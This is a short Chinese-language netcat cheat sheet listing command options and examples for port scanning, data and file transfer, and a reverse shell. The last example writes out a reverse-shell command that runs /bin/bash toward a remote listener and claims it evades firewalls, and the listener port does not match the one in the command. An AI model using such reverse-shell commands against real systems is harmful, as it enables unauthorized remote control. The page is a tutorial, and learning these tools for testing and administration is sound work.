NC工具命令使用示例

主要参数

-4 IPv4模式
-6 IPv6模式
-b, --bluetooth 蓝牙模式 (默认为L2CAP协议)
-e,--exec=CMD 连接建立后执行命令
-l 监听入站连接
-n 指定数字的IP地址,不能用hostname

-u UDP模式
-t TCP模式(默认模式)

-v 详细输出——用两个-v可得到更详细的内容
-w,--time=SECONDS 连接建立后的延时
-z 扫描模式,不会发送任何数据
-T,--ttl=TTL 自定义初始TTL
-z 将输入输出关掉——用于扫描时
-x,--transfer 文件传输模式
-X ,--rev-transfer 反向文件传输模式
-s,--address=ADDRESS 本地源ip

使用举例

  • 1 . 端口扫描

nc -z -v -n 172.31.100.7 21-25

NC工具命令使用示例_第1张图片
1
  • 2 . 交互数据传输

发送端

nc 172.31.100.7 4444

接收端

nc -lvnp 4444

NC工具命令使用示例_第2张图片
2
  • 3 . 文件传输

发送端

nc -lvnp 4444 < file.txt

接收端

nc -n 172.31.100.7 > file.txt

NC工具命令使用示例_第3张图片
3
  • 4 . 反弹shell(不会被防火墙拦截)

发送端

nc 192.168.110.20 4445 -e /bin/bash

监听

nc -lvnp 4444

NC工具命令使用示例_第4张图片
4

你可能感兴趣的:(NC工具命令使用示例)